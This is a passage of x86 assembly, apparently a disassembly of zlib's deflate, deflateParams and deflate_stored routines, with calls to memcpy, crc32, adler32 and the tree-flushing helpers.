movl -32(%ebp), %eax subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 16(%eax), %edx movl %eax, %ecx movl 20(%eax), %eax subl %ebx, %eax addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %eax, %eax movl %eax, 20(%ecx) je .L0804DE21 .L0804D34D: movl -32(%ebp), %ebx movl %edx, 16(%ebx) jmp .L0804D271 .L0804D358: pushl %eax pushl %ebx movl -36(%ebp), %ecx pushl 16(%ecx) pushl 12(%esi) call memcpy .L0804D368: movl -36(%ebp), %eax subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 16(%eax), %edx movl %eax, %ecx movl 20(%eax), %eax subl %ebx, %eax addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %eax, %eax movl %eax, 20(%ecx) jne .L0804D3D4 .L0804D38A: movl 8(%ecx), %ebx movl %ebx, 16(%ecx) jmp .L0804CE3A .L0804D395: pushl %eax pushl %ebx movl -24(%ebp), %edx pushl 16(%edx) pushl 12(%esi) call memcpy .L0804D3A5: movl -24(%ebp), %ecx subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 20(%ecx), %eax subl %ebx, %eax movl 16(%ecx), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %eax, %eax movl %eax, 20(%ecx) jne .L0804D575 .L0804D3C9: movl 8(%ecx), %ebx movl %ebx, 16(%ecx) jmp .L0804CF04 .L0804D3D4: movl -36(%ebp), %esi movl %edx, 16(%esi) jmp .L0804CE3A .L0804D3DF: movzbl 1(%ecx), %ebx cmpl %esi, %ebx jne .L0804CD6C .L0804D3EB: movzbl 2(%ecx), %eax cmpl %esi, %eax leal 2(%ecx), %ebx jne .L0804CD6C .L0804D3FA: addl $258, %ecx .L0804D400: incl %ebx movzbl (%ebx), %eax cmpl %esi, %eax jne .L0804D444 .L0804D408: incl %ebx movzbl (%ebx), %eax cmpl %esi, %eax jne .L0804D444 .L0804D410: incl %ebx movzbl (%ebx), %eax cmpl %esi, %eax jne .L0804D444 .L0804D418: incl %ebx movzbl (%ebx), %eax cmpl %esi, %eax jne .L0804D444 .L0804D420: incl %ebx movzbl (%ebx), %eax cmpl %esi, %eax jne .L0804D444 .L0804D428: incl %ebx movzbl (%ebx), %eax cmpl %esi, %eax jne .L0804D444 .L0804D430: incl %ebx movzbl (%ebx), %eax cmpl %esi, %eax jne .L0804D444 .L0804D438: incl %ebx movzbl (%ebx), %eax cmpl %esi, %eax jne .L0804D444 .L0804D440: cmpl %ecx, %ebx jb .L0804D400 .L0804D444: subl %ebx, %ecx movl $258, %eax subl %ecx, %eax cmpl %edx, %eax jbe .L0804DC70 .L0804D455: movl %edx, 96(%edi) jmp .L0804CD6C .L0804D45D: .p2align 3 .L0804D460: movl 44(%eax), %edx testl %edx, %edx je .L0804D46F .L0804D467: cmpl %ecx, %ebx ja .L0804D7A6 .L0804D46F: movl 8(%ebp), %ebx subl $12, %esp movl 28(%ebx), %esi pushl %esi call _tr_flush_bits .L0804D47E: movl 8(%ebp), %edx movl 20(%esi), %ebx movl 16(%edx), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804D490 .L0804D48E: movl %eax, %ebx .L0804D490: testl %ebx, %ebx jne .L0804D580 .L0804D498: movl 20(%edi), %ebx cmpl 12(%edi), %ebx movl %ebx, %ecx je .L0804D99C .L0804D4A6: movl 28(%edi), %eax .p2align 2 .L0804D4AC: movl 32(%edi), %edx movl 36(%eax), %eax movzbl (%edx,%eax), %esi incl %edx movl %edx, 32(%edi) movl 8(%edi), %eax movl %esi, %edx movb %dl, (%ebx,%eax) movl 20(%edi), %eax incl %eax testl %esi, %esi movl %eax, 20(%edi) je .L0804D782 .L0804D4D1: movl %eax, %ebx movl 28(%edi), %eax .L0804D4D6: cmpl 12(%edi), %ebx jne .L0804D4AC .L0804D4DB: jmp .L0804D460 .L0804D4DD: .p2align 3 .L0804D4E0: movl 44(%eax), %eax testl %eax, %eax je .L0804D4EF .L0804D4E7: cmpl %ecx, %ebx ja .L0804D830 .L0804D4EF: movl 8(%ebp), %eax movl 28(%eax), %esi subl $12, %esp pushl %esi call _tr_flush_bits .L0804D4FE: movl 8(%ebp), %edx movl 20(%esi), %ebx movl 16(%edx), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804D510 .L0804D50E: movl %eax, %ebx .L0804D510: testl %ebx, %ebx jne .L0804D5FC .L0804D518: movl 20(%edi), %ebx cmpl 12(%edi), %ebx movl %ebx, %ecx je .L0804D9A6 .L0804D526: movl 28(%edi), %eax .p2align 2 .L0804D52C: movl 32(%edi), %edx movl 28(%eax), %eax movzbl (%edx,%eax), %esi incl %edx movl %edx, 32(%edi) movl 8(%edi), %eax movl %esi, %edx movb %dl, (%ebx,%eax) movl 20(%edi), %eax incl %eax testl %esi, %esi movl %eax, 20(%edi) je .L0804D7CF .L0804D551: movl %eax, %ebx movl 28(%edi), %eax .L0804D556: cmpl 12(%edi), %ebx jne .L0804D52C .L0804D55B: jmp .L0804D4E0 .L0804D55D: movl 8(%ebp), %esi movl 16(%esi), %edx testl %edx, %edx jne .L0804D56E .L0804D567: movl $-1, 40(%edi) .L0804D56E: xorl %eax, %eax jmp .L0804CD29 .L0804D575: movl -24(%ebp), %ecx movl %edx, 16(%ecx) jmp .L0804CF04 .L0804D580: pushl %edx pushl %ebx pushl 16(%esi) movl 8(%ebp), %edx pushl 12(%edx) call memcpy .L0804D590: movl 8(%ebp), %eax subl %ebx, 16(%eax) addl %ebx, 12(%eax) movl 20(%esi), %ecx subl %ebx, %ecx movl 16(%esi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%eax) testl %ecx, %ecx movl %ecx, 20(%esi) jne .L0804D7C7 .L0804D5B4: movl 8(%esi), %ebx movl %ebx, 16(%esi) jmp .L0804D498 .L0804D5BF: movl 8(%ebp), %ebx subl $12, %esp movl 28(%ebx), %esi pushl %esi call _tr_flush_bits .L0804D5CE: movl 8(%ebp), %edx movl 20(%esi), %ebx movl 16(%edx), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804D5E0 .L0804D5DE: movl %eax, %ebx .L0804D5E0: testl %ebx, %ebx jne .L0804D898 .L0804D5E8: testl %eax, %eax jne .L0804D81D .L0804D5F0: movl $-1, 40(%edi) jmp .L0804CD29 .L0804D5FC: pushl %eax pushl %ebx pushl 16(%esi) movl 8(%ebp), %edx pushl 12(%edx) call memcpy .L0804D60C: movl 8(%ebp), %eax subl %ebx, 16(%eax) addl %ebx, 12(%eax) movl 20(%esi), %ecx subl %ebx, %ecx movl 16(%esi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%eax) testl %ecx, %ecx movl %ecx, 20(%esi) jne .L0804D828 .L0804D630: movl 8(%esi), %ebx movl %ebx, 16(%esi) jmp .L0804D518 .L0804D63B: cmpl $2, 24(%edi) je .L0804D9D1 .L0804D645: movl 48(%edi), %eax subl $8, %eax sall $12, %eax cmpl $1, 136(%edi) leal 2048(%eax), %ebx jle .L0804D72A .L0804D661: xorl %eax, %eax .L0804D663: movl %eax, %ecx sall $6, %ecx orl %ebx, %ecx movl 108(%edi), %ebx testl %ebx, %ebx je .L0804D674 .L0804D671: orl $32, %ecx .L0804D674: movl $31, %esi movl %ecx, %eax xorl %edx, %edx divl %esi subl %edx, %ecx leal 31(%ecx), %ebx movl %ebx, %eax movl 20(%edi), %edx movl 8(%edi), %esi shrl $8, %eax movl $113, 4(%edi) movb %al, (%edx,%esi) movl 20(%edi), %edx leal 1(%edx), %ecx movl 8(%edi), %eax movl %ecx, 20(%edi) movb %bl, 1(%edx,%eax) movl 20(%edi), %ebx movl 108(%edi), %ecx leal 1(%ebx), %esi testl %ecx, %ecx movl %esi, 20(%edi) je .L0804D70D .L0804D6B9: movl 8(%ebp), %edx movl 48(%edx), %eax movl 8(%edi), %esi movl %eax, %ecx shrl $24, %eax movb %al, 1(%ebx,%esi) movl 20(%edi), %edx movl 8(%edi), %esi leal 1(%edx), %eax shrl $16, %ecx movl %eax, 20(%edi) movb %cl, 1(%edx,%esi) movl 20(%edi), %ecx movl 8(%ebp), %eax leal 1(%ecx), %ebx movl %ebx, 20(%edi) movzwl 48(%eax), %ebx movl %ebx, %edx movl 8(%edi), %esi shrl $8, %edx movb %dl, 1(%ecx,%esi) movl 20(%edi), %edx leal 1(%edx), %eax movl 8(%edi), %ecx movl %eax, 20(%edi) movb %bl, 1(%edx,%ecx) incl 20(%edi) .L0804D70D: pushl %eax pushl $0 pushl $0 pushl $0 call adler32 .L0804D719: movl 8(%ebp), %ebx movl %eax, 48(%ebx) addl $16, %esp movl 4(%edi), %eax jmp .L0804CB70 .L0804D72A: movl 132(%edi), %edx cmpl $1, %edx jle .L0804D661 .L0804D739: cmpl $5, %edx movl $1, %eax jle .L0804D663 .L0804D747: xorl %eax, %eax cmpl $6, %edx setne %al addl $2, %eax jmp .L0804D663 .L0804D757: .p2align 3 .L0804D758: movl $113, 4(%edi) jmp .L0804CB97 .L0804D764: testl %ecx, %ecx je .L0804CBE5 .L0804D76C: movl z_errmsg+28, %esi movl 8(%ebp), %edi movl $-5, %eax movl %esi, 24(%edi) jmp .L0804CD29 .L0804D782: movl %eax, %ebx .L0804D784: movl 28(%edi), %eax movl 44(%eax), %edx testl %edx, %edx je .L0804D796 .L0804D78E: cmpl %ecx, %ebx ja .L0804DAD7 .L0804D796: testl %esi, %esi je .L0804D111 .L0804D79E: movl 4(%edi), %eax jmp .L0804CB8E .L0804D7A6: subl %ecx, %ebx pushl %esi pushl %ebx addl 8(%edi), %ecx pushl %ecx movl 8(%ebp), %eax pushl 48(%eax) call crc32 .L0804D7B9: movl 8(%ebp), %ecx addl $16, %esp movl %eax, 48(%ecx) jmp .L0804D46F .L0804D7C7: movl %edx, 16(%esi) jmp .L0804D498 .L0804D7CF: movl %eax, %ebx .L0804D7D1: movl 28(%edi), %eax movl 44(%eax), %edx testl %edx, %edx je .L0804D7E3 .L0804D7DB: cmpl %ecx, %ebx ja .L0804DAFB .L0804D7E3: testl %esi, %esi jne .L0804D890 .L0804D7EB: movl $0, 32(%edi) jmp .L0804D0FA .L0804D7F7: movl %ecx, %ebx .L0804D7F9: movl 44(%esi), %ecx testl %ecx, %ecx je .L0804D809 .L0804D800: cmpl -20(%ebp), %ebx ja .L0804DC43 .L0804D809: movl 20(%esi), %edx cmpl %edx, 32(%edi) je .L0804D9BE .L0804D815: movl 4(%edi), %eax jmp .L0804CB7C .L0804D81D: movl 8(%ebp), %edx movl 4(%edx), %ecx jmp .L0804CBD3 .L0804D828: movl %edx, 16(%esi) jmp .L0804D518 .L0804D830: subl %ecx, %ebx pushl %eax pushl %ebx addl 8(%edi), %ecx pushl %ecx movl 8(%ebp), %ebx pushl 48(%ebx) call crc32 .L0804D843: movl 8(%ebp), %ecx addl $16, %esp movl %eax, 48(%ecx) jmp .L0804D4EF .L0804D851: pushl %eax pushl %ebx pushl 16(%esi) movl 8(%ebp), %edx pushl 12(%edx) call memcpy .L0804D861: movl 8(%ebp), %eax subl %ebx, 16(%eax) addl %ebx, 12(%eax) movl 20(%esi), %ecx subl %ebx, %ecx movl 16(%esi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%eax) testl %ecx, %ecx movl %ecx, 20(%esi) jne .L0804D970 .L0804D885: movl 8(%esi), %ebx movl %ebx, 16(%esi) jmp .L0804D0CC .L0804D890: movl 4(%edi), %eax jmp .L0804CB85 .L0804D898: pushl %eax pushl %ebx pushl 16(%esi) movl 8(%ebp), %edx pushl 12(%edx) call memcpy .L0804D8A8: movl 8(%ebp), %ecx subl %ebx, 16(%ecx) addl %ebx, 12(%ecx) movl 20(%esi), %eax subl %ebx, %eax movl 16(%esi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%ecx) testl %eax, %eax movl %eax, 20(%esi) jne .L0804D9B0 .L0804D8CC: movl 8(%esi), %ebx movl %ebx, 16(%esi) movl 8(%ebp), %esi movl 16(%esi), %eax jmp .L0804D5E8 .L0804D8DD: movl 8(%ebp), %ebx subl $12, %esp movl 28(%ebx), %esi pushl %esi call _tr_flush_bits .L0804D8EC: movl 8(%ebp), %ecx movl 20(%esi), %ebx movl 16(%ecx), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804D8FE .L0804D8FC: movl %eax, %ebx .L0804D8FE: testl %ebx, %ebx jne .L0804DB1F .L0804D906: movl 20(%edi), %ebx movl 12(%edi), %edx jmp .L0804D134 .L0804D911: cmpl $1, 12(%ebp) je .L0804DD4F .L0804D91B: cmpl $5, 12(%ebp) je .L0804D93A .L0804D921: pushl $0 pushl $0 pushl $0 pushl %edi call _tr_stored_block .L0804D92D: addl $16, %esp cmpl $3, 12(%ebp) je .L0804DE89 .L0804D93A: movl 8(%ebp), %eax movl 28(%eax), %esi subl $12, %esp pushl %esi call _tr_flush_bits .L0804D949: movl 8(%ebp), %edx movl 20(%esi), %ebx movl 16(%edx), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804D95B .L0804D959: movl %eax, %ebx .L0804D95B: testl %ebx, %ebx jne .L0804DCF0 .L0804D963: testl %eax, %eax jne .L0804CC55 .L0804D96B: jmp .L0804D5F0 .L0804D970: movl %edx, 16(%esi) jmp .L0804D0CC .L0804D978: subl -20(%ebp), %ebx pushl %eax pushl %ebx movl 8(%edi), %ebx addl %ebx, -20(%ebp) pushl -20(%ebp) movl 8(%ebp), %esi pushl 48(%esi) call crc32 .L0804D991: addl $16, %esp movl %eax, 48(%esi) jmp .L0804D0A3 .L0804D99C: movl $1, %esi jmp .L0804D784 .L0804D9A6: movl $1, %esi jmp .L0804D7D1 .L0804D9B0: movl 8(%ebp), %ecx movl 16(%ecx), %eax movl %edx, 16(%esi) jmp .L0804D5E8 .L0804D9BE: movl $0, 32(%edi) movl $73, 4(%edi) jmp .L0804D0EA .L0804D9D1: pushl %eax pushl $0 pushl $0 pushl $0 call crc32 .L0804D9DD: movl 20(%edi), %ebx movl 8(%ebp), %ecx movl 8(%edi), %esi movl %eax, 48(%ecx) movb $31, (%ebx,%esi) movl 20(%edi), %edx leal 1(%edx), %eax movl 8(%edi), %ecx movl %eax, 20(%edi) movb $139, 1(%edx,%ecx) movl 20(%edi), %esi movl 8(%edi), %eax leal 1(%esi), %ebx movl %ebx, 20(%edi) movb $8, 1(%esi,%eax) movl 28(%edi), %edx movl 20(%edi), %ecx addl $16, %esp testl %edx, %edx leal 1(%ecx), %eax jne .L0804CF18 .L0804DA23: movl 8(%edi), %ebx movl %eax, 20(%edi) movb $0, 1(%ecx,%ebx) movl 20(%edi), %edx movl 8(%edi), %eax leal 1(%edx), %esi movl %esi, 20(%edi) movb $0, 1(%edx,%eax) movl 20(%edi), %ebx movl 8(%edi), %esi leal 1(%ebx), %ecx movl %ecx, 20(%edi) movb $0, 1(%ebx,%esi) movl 20(%edi), %edx leal 1(%edx), %eax movl 8(%edi), %ecx movl %eax, 20(%edi) movb $0, 1(%edx,%ecx) movl 20(%edi), %esi leal 1(%esi), %ebx movl 8(%edi), %eax movl %ebx, 20(%edi) movb $0, 1(%esi,%eax) movl 20(%edi), %edx leal 1(%edx), %ecx addl $2, %edx movl %edx, 20(%edi) movl 132(%edi), %edx cmpl $9, %edx movl 8(%edi), %ebx movb $2, %al je .L0804DA99 .L0804DA8E: cmpl $1, 136(%edi) jle .L0804DABA .L0804DA97: movb $4, %al .L0804DA99: movb %al, (%ecx,%ebx) movl 20(%edi), %eax movl 8(%edi), %ecx movb $3, (%eax,%ecx) incl 20(%edi) movl $113, %eax movl $113, 4(%edi) jmp .L0804CB79 .L0804DABA: xorl %eax, %eax decl %edx jg .L0804DA99 .L0804DABF: jmp .L0804DA97 .L0804DAC1: .p2align 2 .L0804DAC4: movl z_errmsg+28, %esi movl $-5, %eax movl %esi, 24(%ebx) jmp .L0804CD29 .L0804DAD7: subl %ecx, %ebx pushl %eax pushl %ebx addl 8(%edi), %ecx pushl %ecx movl 8(%ebp), %ebx pushl 48(%ebx) call crc32 .L0804DAEA: movl 8(%ebp), %ecx addl $16, %esp movl 20(%edi), %ebx movl %eax, 48(%ecx) jmp .L0804D796 .L0804DAFB: subl %ecx, %ebx pushl %eax pushl %ebx addl 8(%edi), %ecx pushl %ecx movl 8(%ebp), %ebx pushl 48(%ebx) call crc32 .L0804DB0E: movl 8(%ebp), %ecx addl $16, %esp movl 20(%edi), %ebx movl %eax, 48(%ecx) jmp .L0804D7E3 .L0804DB1F: pushl %eax pushl %ebx pushl 16(%esi) movl 8(%ebp), %edx pushl 12(%edx) call memcpy .L0804DB2F: movl 8(%ebp), %ecx subl %ebx, 16(%ecx) addl %ebx, 12(%ecx) movl 20(%esi), %eax subl %ebx, %eax movl 16(%esi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%ecx) testl %eax, %eax movl %eax, 20(%esi) jne .L0804DD31 .L0804DB53: movl 8(%esi), %ebx movl %ebx, 16(%esi) jmp .L0804D906 .L0804DB5E: pushl %eax pushl %ebx pushl 16(%esi) movl 8(%ebp), %ecx pushl 12(%ecx) call memcpy .L0804DB6E: movl 8(%ebp), %eax subl %ebx, 16(%eax) movl 8(%ebp), %edx addl %ebx, 12(%edx) movl 20(%esi), %ecx subl %ebx, %ecx movl 16(%esi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%eax) testl %ecx, %ecx movl %ecx, 20(%esi) jne .L0804DD39 .L0804DB95: movl 8(%esi), %ebx movl %ebx, 16(%esi) jmp .L0804CCF6 .L0804DBA0: movl 8(%ebp), %ebx movl 20(%edi), %edx movl 8(%edi), %ecx movl 48(%ebx), %eax movb %al, (%edx,%ecx) movl 20(%edi), %ecx movl 48(%ebx), %eax movl 8(%edi), %edx leal 1(%ecx), %esi shrl $8, %eax movl %esi, 20(%edi) movb %al, 1(%ecx,%edx) movl 20(%edi), %ecx movl 8(%edi), %edx movzwl 50(%ebx), %eax leal 1(%ecx), %esi movl %esi, 20(%edi) movb %al, 1(%ecx,%edx) movl 20(%edi), %ecx movl 8(%edi), %edx movzbl 51(%ebx), %eax leal 1(%ecx), %esi movl %esi, 20(%edi) movb %al, 1(%ecx,%edx) movl 20(%edi), %ecx movl 8(%edi), %edx movl 8(%ebx), %eax leal 1(%ecx), %esi movl %esi, 20(%edi) movb %al, 1(%ecx,%edx) movl 20(%edi), %ecx movl 8(%ebx), %eax leal 1(%ecx), %esi movl 8(%edi), %edx shrl $8, %eax movl %esi, 20(%edi) movb %al, 1(%ecx,%edx) movl 20(%edi), %ecx leal 1(%ecx), %esi movl 8(%edi), %edx movzwl 10(%ebx), %eax movl %esi, 20(%edi) movb %al, 1(%ecx,%edx) movl 20(%edi), %ecx leal 1(%ecx), %esi movl 8(%edi), %edx movzbl 11(%ebx), %eax movl %esi, 20(%edi) movb %al, 1(%ecx,%edx) jmp .L0804CCCA .L0804DC43: subl -20(%ebp), %ebx pushl %ecx pushl %ebx movl 8(%edi), %esi addl %esi, -20(%ebp) pushl -20(%ebp) movl 8(%ebp), %eax pushl 48(%eax) call crc32 .L0804DC5C: movl 8(%ebp), %ebx movl %eax, 48(%ebx) addl $16, %esp movl 20(%edi), %ebx movl 28(%edi), %esi jmp .L0804D809 .L0804DC70: movl %eax, 96(%edi) jmp .L0804CD6C .L0804DC78: xorl %eax, %eax decl %edx jg .L0804CFD6 .L0804DC81: jmp .L0804CFD4 .L0804DC86: .p2align 3 .L0804DC88: movl 28(%edi), %esi jmp .L0804D7F9 .L0804DC90: pushl $1 movl 108(%edi), %ecx subl 92(%edi), %ecx pushl %ecx movl 92(%edi), %eax xorl %edx, %edx testl %eax, %eax js .L0804DCA7 .L0804DCA2: movl 56(%edi), %edx addl %eax, %edx .L0804DCA7: pushl %edx pushl %edi call _tr_flush_block .L0804DCAE: movl 108(%edi), %esi movl %esi, 92(%edi) movl (%edi), %esi movl 28(%esi), %ebx movl %ebx, (%esp) movl %ebx, -40(%ebp) call _tr_flush_bits .L0804DCC4: movl -40(%ebp), %edx movl 20(%edx), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804DCD6 .L0804DCD4: movl %eax, %ebx .L0804DCD6: testl %ebx, %ebx jne .L0804DE2C .L0804DCDE: movl (%edi), %eax movl 16(%eax), %esi cmpl $1, %esi sbbl %ebx, %ebx leal 3(%ebx), %edx jmp .L0804CC2E .L0804DCF0: pushl %eax pushl %ebx pushl 16(%esi) movl 8(%ebp), %edx pushl 12(%edx) call memcpy .L0804DD00: movl 8(%ebp), %ecx addl %ebx, 12(%ecx) movl 8(%ebp), %ecx subl %ebx, 16(%ecx) movl 20(%esi), %eax subl %ebx, %eax movl 16(%esi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%ecx) testl %eax, %eax movl %eax, 20(%esi) jne .L0804DD41 .L0804DD23: movl 8(%esi), %ebx movl 16(%ecx), %eax movl %ebx, 16(%esi) jmp .L0804D963 .L0804DD31: movl %edx, 16(%esi) jmp .L0804D906 .L0804DD39: movl %edx, 16(%esi) jmp .L0804CCF6 .L0804DD41: movl %edx, 16(%esi) movl 8(%ebp), %esi movl 16(%esi), %eax jmp .L0804D963 .L0804DD4F: subl $12, %esp pushl %edi call _tr_align .L0804DD58: addl $16, %esp jmp .L0804D93A .L0804DD60: pushl $1 movl 108(%edi), %edx subl 92(%edi), %edx pushl %edx movl 92(%edi), %eax xorl %edx, %edx testl %eax, %eax js .L0804DD77 .L0804DD72: movl 56(%edi), %edx addl %eax, %edx .L0804DD77: pushl %edx pushl %edi call _tr_flush_block .L0804DD7E: movl 108(%edi), %esi movl %esi, 92(%edi) movl (%edi), %esi movl 28(%esi), %ebx movl %ebx, (%esp) movl %ebx, -28(%ebp) call _tr_flush_bits .L0804DD94: movl -28(%ebp), %ecx movl 20(%ecx), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804DDA6 .L0804DDA4: movl %eax, %ebx .L0804DDA6: testl %ebx, %ebx je .L0804DCDE .L0804DDAE: pushl %eax pushl %ebx movl -28(%ebp), %edx pushl 16(%edx) pushl 12(%esi) call memcpy .L0804DDBE: movl -28(%ebp), %eax subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 16(%eax), %edx movl %eax, %ecx movl 20(%eax), %eax subl %ebx, %eax addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %eax, %eax movl %eax, 20(%ecx) je .L0804DE5E .L0804DDE0: movl -28(%ebp), %ebx movl %edx, 16(%ebx) jmp .L0804DCDE .L0804DDEB: pushl %eax pushl %ebx movl -44(%ebp), %ecx pushl 16(%ecx) pushl 12(%esi) call memcpy .L0804DDFB: movl -44(%ebp), %eax subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 16(%eax), %edx movl %eax, %ecx movl 20(%eax), %eax subl %ebx, %eax addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %eax, %eax movl %eax, 20(%ecx) jne .L0804DECF .L0804DE21: movl 8(%ecx), %edx movl %edx, 16(%ecx) jmp .L0804D271 .L0804DE2C: pushl %eax pushl %ebx movl -40(%ebp), %ecx pushl 16(%ecx) pushl 12(%esi) call memcpy .L0804DE3C: movl -40(%ebp), %eax subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 16(%eax), %edx movl %eax, %ecx movl 20(%eax), %eax subl %ebx, %eax addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %eax, %eax movl %eax, 20(%ecx) jne .L0804DEDA .L0804DE5E: movl 8(%ecx), %edx movl %edx, 16(%ecx) jmp .L0804DCDE .L0804DE69: pushl %esi pushl 20(%edi) pushl 8(%edi) movl 8(%ebp), %edx pushl 48(%edx) call crc32 .L0804DE7B: movl 8(%ebp), %esi addl $16, %esp movl %eax, 48(%esi) jmp .L0804D02F .L0804DE89: movl 76(%edi), %ecx movl 68(%edi), %ebx movw $0, -2(%ebx,%ecx,2) leal -2(%ecx,%ecx), %edx pushl %ecx pushl %edx pushl $0 pushl %ebx call memset .L0804DEA4: movl 116(%edi), %eax addl $16, %esp testl %eax, %eax jne .L0804D93A .L0804DEB2: movl $0, 108(%edi) movl $0, 92(%edi) movl $0, 5812(%edi) jmp .L0804D93A .L0804DECF: movl -44(%ebp), %ebx movl %edx, 16(%ebx) jmp .L0804D271 .L0804DEDA: movl -40(%ebp), %ebx movl %edx, 16(%ebx) jmp .L0804DCDE .size deflate, .-deflate # ---------------------- .L0804DEE5: .p2align 3 # ---------------------- .globl deflateParams .type deflateParams, @function deflateParams: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %ecx testl %ecx, %ecx movl 12(%ebp), %esi movl $0, -16(%ebp) je .L0804DFB0 .L0804DF06: movl 28(%ecx), %ebx testl %ebx, %ebx je .L0804DFB0 .L0804DF11: cmpl $-1, %esi je .L0804DFC0 .L0804DF1A: cmpl $9, %esi ja .L0804DFB0 .L0804DF23: movl 16(%ebp), %eax testl %eax, %eax js .L0804DFB0 .L0804DF2E: cmpl $4, 16(%ebp) jg .L0804DFB0 .L0804DF34: movl 132(%ebx), %edx leal (%edx,%edx,2), %eax movl configuration_table+8(,%eax,4), %edi movl 16(%ebp), %eax cmpl %eax, 136(%ebx) je .L0804DFCA .L0804DF4F: movl 8(%ecx), %edi testl %edi, %edi jne .L0804DFDF .L0804DF5A: cmpl %esi, %edx je .L0804DF9B .L0804DF5E: leal (%esi,%esi,2), %edi sall $2, %edi movl %esi, 132(%ebx) movzwl configuration_table+2(%edi), %edx movzwl configuration_table(%edi), %eax movzwl configuration_table+4(%edi), %esi movzwl configuration_table+6(%edi), %ecx movl %edx, 128(%ebx) movl %eax, 140(%ebx) movl %esi, 144(%ebx) movl %ecx, 124(%ebx) .L0804DF9B: movl 16(%ebp), %ecx movl %ecx, 136(%ebx) movl -16(%ebp), %eax leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804DFAF: .p2align 3 .L0804DFB0: leal -12(%ebp), %esp popl %ebx popl %esi movl $-2, %eax popl %edi leave ret .L0804DFBD: .p2align 3 .L0804DFC0: movl $6, %esi jmp .L0804DF23 .L0804DFCA: leal (%esi,%esi,2), %eax cmpl %edi, configuration_table+8(,%eax,4) jne .L0804DF4F .L0804DFDA: jmp .L0804DF5A .L0804DFDF: subl $8, %esp pushl $5 pushl %ecx call deflate .L0804DFEA: addl $16, %esp cmpl $-5, %eax movl %eax, -16(%ebp) je .L0804E000 .L0804DFF5: movl 132(%ebx), %edx jmp .L0804DF5A .L0804E000: movl 20(%ebx), %edx testl %edx, %edx jne .L0804DFF5 .L0804E007: movl $0, -16(%ebp) jmp .L0804DFF5 .size deflateParams, .-deflateParams # ---------------------- .local deflate_stored .type deflate_stored, @function deflate_stored: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %edx movl 12(%edx), %eax subl $5, %eax cmpl $65535, %eax movl $65535, -16(%ebp) jae .L0804E034 .L0804E030: movl %eax, -16(%ebp) .p2align 2 .L0804E034: movl 8(%ebp), %ecx movl 116(%ecx), %eax cmpl $1, %eax jbe .L0804E150 .L0804E043: movl 8(%ebp), %edx movl 8(%ebp), %esi movl 92(%edx), %ecx movl -16(%ebp), %edi addl 108(%esi), %eax leal (%ecx,%edi), %edx je .L0804E05F .L0804E057: cmpl %edx, %eax jb .L0804E13C .L0804E05F: subl %edx, %eax movl 8(%ebp), %ebx movl %eax, 116(%ebx) movl %edx, 108(%ebx) xorl %eax, %eax subl %ecx, %edx pushl $0 testl %ecx, %ecx pushl %edx js .L0804E07A .L0804E075: movl 56(%ebx), %eax addl %ecx, %eax .L0804E07A: pushl %eax pushl 8(%ebp) call _tr_flush_block .L0804E083: movl 8(%ebp), %ecx movl 108(%ecx), %ebx movl (%ecx), %esi movl %ebx, 92(%ecx) movl 28(%esi), %edi movl %edi, (%esp) call _tr_flush_bits .L0804E099: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804E0A8 .L0804E0A6: movl %eax, %ebx .L0804E0A8: testl %ebx, %ebx jne .L0804E1F4 .L0804E0B0: movl 8(%ebp), %ecx movl (%ecx), %edx movl 16(%edx), %edi testl %edi, %edi je .L0804E12D .L0804E0BC: movl 108(%ecx), %eax movl 92(%ecx), %ecx .L0804E0C2: movl 8(%ebp), %ebx movl %eax, %edx movl 44(%ebx), %eax subl %ecx, %edx subl $262, %eax cmpl %eax, %edx jb .L0804E034 .L0804E0D9: pushl $0 xorl %eax, %eax testl %ecx, %ecx pushl %edx js .L0804E0E7 .L0804E0E2: movl 56(%ebx), %eax addl %ecx, %eax .L0804E0E7: pushl %eax pushl 8(%ebp) call _tr_flush_block .L0804E0F0: movl 8(%ebp), %ecx movl 108(%ecx), %edi movl (%ecx), %esi movl %edi, 92(%ecx) movl 28(%esi), %edi movl %edi, (%esp) call _tr_flush_bits .L0804E106: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804E115 .L0804E113: movl %eax, %ebx .L0804E115: testl %ebx, %ebx jne .L0804E22C .L0804E11D: movl 8(%ebp), %ecx movl (%ecx), %eax movl 16(%eax), %ebx testl %ebx, %ebx jne .L0804E034 .L0804E12D: xorl %edx, %edx .L0804E12F: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804E139: .p2align 2 .L0804E13C: movl 8(%ebp), %esi movl $0, 116(%esi) movl %eax, 108(%esi) jmp .L0804E0C2 .L0804E14E: .p2align 3 .L0804E150: movl %ecx, %eax call fill_window .L0804E157: movl 8(%ebp), %ebx movl 116(%ebx), %eax testl %eax, %eax jne .L0804E043 